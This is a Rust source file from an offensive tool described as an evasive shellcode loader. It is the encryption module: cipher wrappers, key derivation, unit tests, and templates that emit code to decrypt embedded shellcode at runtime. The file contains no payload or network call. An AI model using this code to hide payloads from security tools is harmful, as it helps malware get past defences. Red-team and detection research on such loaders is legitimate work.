myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
mod.rs (10981B)
1 //! Encryption module providing multiple cipher implementations. 2 //! 3 //! This module implements a generic encryption interface with support for: 4 //! - AES-128 (CBC mode with random IV) 5 //! - AES-256 (CBC mode with random IV) 6 //! - ChaCha20 (stream cipher with random nonce) 7 //! - XOR cipher (simple XOR operation) 8 //! - Blowfish (CBC mode with random IV) 9 //! - Twofish (CBC mode with random IV) 10 //! - Camellia-256 (CBC mode with random IV) 11 //! 12 //! # Production-Ready Features 13 //! 14 //! All implementations use: 15 //! - SHA-256 for proper key derivation from passwords (except XOR) 16 //! - Random IV/nonce generation for each encryption operation 17 //! - IV/nonce prepended to ciphertext for automatic extraction during decryption 18 //! - Logging of generated IV/nonce values for debugging 19 //! - Key length warnings for Blowfish 20 21 mod aes256_cipher; 22 mod aes_cipher; 23 mod blowfish_cipher; 24 mod camellia_cipher; 25 mod chacha20_cipher; 26 mod twofish_cipher; 27 mod xor_cipher; 28 29 use sha2::{Digest, Sha256}; 30 31 use crate::cli::EncryptionKind; 32 33 pub use aes256_cipher::Aes256Encryptor; 34 pub use aes_cipher::AesEncryptor; 35 pub use blowfish_cipher::BlowfishEncryptor; 36 pub use camellia_cipher::CamelliaEncryptor; 37 pub use chacha20_cipher::ChaCha20Encryptor; 38 pub use twofish_cipher::TwofishEncryptor; 39 pub use xor_cipher::XorEncryptor; 40 41 /// Generic encryption/decryption interface 42 pub trait Encryptor { 43 /// Encrypts the given data using the configured key 44 fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String>; 45 46 /// Decrypts the given data using the configured key 47 #[allow(dead_code)] 48 fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String>; 49 50 /// Returns the key size used by this encryptor 51 #[allow(dead_code)] 52 fn key_size(&self) -> usize; 53 54 /// Returns the encryption algorithm name 55 #[allow(dead_code)] 56 fn algorithm_name(&self) -> &'static str; 57 58 /// Returns the encryption type string used for code generation (e.g., "xor", "aes") 59 fn encryption_type(&self) -> &'static str { 60 match self.algorithm_name() { 61 "XOR" => "xor", 62 "AES-128-CBC" => "aes", 63 "AES-256-CBC" => "aes256", 64 "ChaCha20" => "chacha20", 65 "Blowfish-CBC" => "blowfish", 66 "Twofish-CBC" => "twofish", 67 "Camellia-256-CBC" => "camellia", 68 _ => "unknown", 69 } 70 } 71 72 /// Returns whether this encryption method uses an IV/nonce 73 #[allow(dead_code)] 74 fn uses_iv(&self) -> bool { 75 true // Most modern ciphers use IV/nonce 76 } 77 78 /// Generates the decryption function code for embedding in the target binary 79 fn generate_decrypt_code(&self) -> &'static str; 80 81 /// Generates the decryption template code (the actual call to decrypt) 82 fn generate_decrypt_template(&self) -> String { 83 let encryption_type = self.encryption_type(); 84 match encryption_type { 85 "xor" => r#" 86 let decrypted = internals::decrypt_xor(ENCRYPTED_SHELLCODE, &DECRYPTION_KEY); 87 "# 88 .to_string(), 89 _ => { 90 format!( 91 r#" 92 let decrypted = internals::decrypt_{}(ENCRYPTED_SHELLCODE, &DECRYPTION_KEY) 93 .expect("Failed to decrypt"); 94 "#, 95 encryption_type 96 ) 97 } 98 } 99 } 100 101 /// Returns the required Cargo dependencies for this encryption algorithm 102 #[allow(dead_code)] 103 fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> { 104 vec![] // Default: no additional dependencies 105 } 106 107 /// Returns the key size in bytes required by this algorithm 108 #[allow(dead_code)] 109 fn key_size_bytes(&self) -> usize { 110 self.key_size() 111 } 112 } 113 114 /// Creates an encryptor based on the encryption kind and key 115 pub fn create_encryptor(kind: EncryptionKind, key: &str) -> Box<dyn Encryptor> { 116 match kind { 117 EncryptionKind::AES => Box::new(AesEncryptor::new(key)), 118 EncryptionKind::AES256 => Box::new(Aes256Encryptor::new(key)), 119 EncryptionKind::Chacha20 => Box::new(ChaCha20Encryptor::new(key)), 120 EncryptionKind::XOR => Box::new(XorEncryptor::new(key)), 121 EncryptionKind::Blowfish => Box::new(BlowfishEncryptor::new(key)), 122 EncryptionKind::Twofish => Box::new(TwofishEncryptor::new(key)), 123 EncryptionKind::Camellia => Box::new(CamelliaEncryptor::new(key)), 124 } 125 } 126 127 pub fn derive_key_bytes(key: &str, kind: &EncryptionKind) -> Vec<u8> { 128 match kind { 129 EncryptionKind::XOR => key.as_bytes().to_vec(), 130 EncryptionKind::AES => { 131 let mut hasher = Sha256::new(); 132 hasher.update(key.as_bytes()); 133 let hash = hasher.finalize(); 134 hash[..16].to_vec() 135 } 136 EncryptionKind::AES256 137 | EncryptionKind::Chacha20 138 | EncryptionKind::Twofish 139 | EncryptionKind::Camellia => { 140 let mut hasher = Sha256::new(); 141 hasher.update(key.as_bytes()); 142 let hash = hasher.finalize(); 143 hash.to_vec() 144 } 145 EncryptionKind::Blowfish => { 146 let key_data = key.as_bytes(); 147 if key_data.len() < 4 { 148 let mut padded = key_data.to_vec(); 149 while padded.len() < 4 { 150 padded.push(0); 151 } 152 padded 153 } else if key_data.len() > 56 { 154 key_data[..56].to_vec() 155 } else { 156 key_data.to_vec() 157 } 158 } 159 } 160 } 161 162 #[cfg(test)] 163 mod tests { 164 use super::*; 165 166 #[test] 167 fn test_create_encryptor_aes() { 168 let encryptor = create_encryptor(EncryptionKind::AES, "test-key-123456"); 169 let data = b"Hello, World!"; 170 let encrypted = encryptor.encrypt(data).unwrap(); 171 assert_ne!(encrypted, data); 172 let decrypted = encryptor.decrypt(&encrypted).unwrap(); 173 assert_eq!(decrypted, data); 174 } 175 176 #[test] 177 fn test_create_encryptor_chacha20() { 178 let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key-123456"); 179 let data = b"Hello, World!"; 180 let encrypted = encryptor.encrypt(data).unwrap(); 181 assert_ne!(encrypted, data); 182 let decrypted = encryptor.decrypt(&encrypted).unwrap(); 183 assert_eq!(decrypted, data); 184 } 185 186 #[test] 187 fn test_create_encryptor_xor() { 188 let encryptor = create_encryptor(EncryptionKind::XOR, "test-key-123456"); 189 let data = b"Hello, World!"; 190 let encrypted = encryptor.encrypt(data).unwrap(); 191 assert_ne!(encrypted, data); 192 let decrypted = encryptor.decrypt(&encrypted).unwrap(); 193 assert_eq!(decrypted, data); 194 } 195 196 #[test] 197 fn test_create_encryptor_blowfish() { 198 let encryptor = create_encryptor(EncryptionKind::Blowfish, "test-key-123456"); 199 let data = b"Hello, World!"; 200 let encrypted = encryptor.encrypt(data).unwrap(); 201 assert_ne!(encrypted, data); 202 let decrypted = encryptor.decrypt(&encrypted).unwrap(); 203 assert_eq!(decrypted, data); 204 } 205 206 #[test] 207 fn test_create_encryptor_aes256() { 208 let encryptor = create_encryptor(EncryptionKind::AES256, "test-key-123456"); 209 let data = b"Hello, World!"; 210 let encrypted = encryptor.encrypt(data).unwrap(); 211 assert_ne!(encrypted, data); 212 let decrypted = encryptor.decrypt(&encrypted).unwrap(); 213 assert_eq!(decrypted, data); 214 } 215 216 #[test] 217 fn test_create_encryptor_twofish() { 218 let encryptor = create_encryptor(EncryptionKind::Twofish, "test-key-123456"); 219 let data = b"Hello, World!"; 220 let encrypted = encryptor.encrypt(data).unwrap(); 221 assert_ne!(encrypted, data); 222 let decrypted = encryptor.decrypt(&encrypted).unwrap(); 223 assert_eq!(decrypted, data); 224 } 225 226 #[test] 227 fn test_create_encryptor_camellia() { 228 let encryptor = create_encryptor(EncryptionKind::Camellia, "test-key-123456"); 229 let data = b"Hello, World!"; 230 let encrypted = encryptor.encrypt(data).unwrap(); 231 assert_ne!(encrypted, data); 232 let decrypted = encryptor.decrypt(&encrypted).unwrap(); 233 assert_eq!(decrypted, data); 234 } 235 236 #[test] 237 fn test_generate_decrypt_code_xor() { 238 let encryptor = create_encryptor(EncryptionKind::XOR, "test-key"); 239 let code = encryptor.generate_decrypt_code(); 240 assert!(code.contains("decrypt_xor")); 241 assert!(code.contains("xor_bytes")); 242 } 243 244 #[test] 245 fn test_generate_decrypt_code_aes() { 246 let encryptor = create_encryptor(EncryptionKind::AES, "test-key"); 247 let code = encryptor.generate_decrypt_code(); 248 assert!(code.contains("decrypt_aes")); 249 assert!(code.contains("AES-128")); 250 } 251 252 #[test] 253 fn test_generate_decrypt_code_chacha20() { 254 let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key"); 255 let code = encryptor.generate_decrypt_code(); 256 assert!(code.contains("decrypt_chacha20")); 257 assert!(code.contains("ChaCha20")); 258 } 259 260 #[test] 261 fn test_generate_decrypt_template_xor() { 262 let encryptor = create_encryptor(EncryptionKind::XOR, "test-key"); 263 let template = encryptor.generate_decrypt_template(); 264 assert!(template.contains("internals::decrypt_xor")); 265 assert!(template.contains("ENCRYPTED_SHELLCODE")); 266 assert!(template.contains("DECRYPTION_KEY")); 267 } 268 269 #[test] 270 fn test_generate_decrypt_template_aes() { 271 let encryptor = create_encryptor(EncryptionKind::AES, "test-key"); 272 let template = encryptor.generate_decrypt_template(); 273 assert!(template.contains("internals::decrypt_aes")); 274 assert!(template.contains("ENCRYPTED_SHELLCODE")); 275 assert!(template.contains("expect")); 276 } 277 278 #[test] 279 fn test_required_dependencies_aes() { 280 let encryptor = create_encryptor(EncryptionKind::AES, "test-key"); 281 let deps = encryptor.required_dependencies(); 282 assert!(deps.len() >= 2); 283 assert!(deps.iter().any(|(name, _)| *name == "aes")); 284 assert!(deps.iter().any(|(name, _)| *name == "cbc")); 285 } 286 287 #[test] 288 fn test_required_dependencies_chacha20() { 289 let encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key"); 290 let deps = encryptor.required_dependencies(); 291 assert!(deps.iter().any(|(name, _)| *name == "chacha20")); 292 } 293 294 #[test] 295 fn test_key_size_bytes() { 296 let xor_encryptor = create_encryptor(EncryptionKind::XOR, "test"); 297 assert_eq!(xor_encryptor.key_size_bytes(), 4); 298 299 let aes_encryptor = create_encryptor(EncryptionKind::AES, "test-key"); 300 assert_eq!(aes_encryptor.key_size_bytes(), 16); 301 302 let aes256_encryptor = create_encryptor(EncryptionKind::AES256, "test-key"); 303 assert_eq!(aes256_encryptor.key_size_bytes(), 32); 304 305 let chacha20_encryptor = create_encryptor(EncryptionKind::Chacha20, "test-key"); 306 assert_eq!(chacha20_encryptor.key_size_bytes(), 32); 307 } 308 }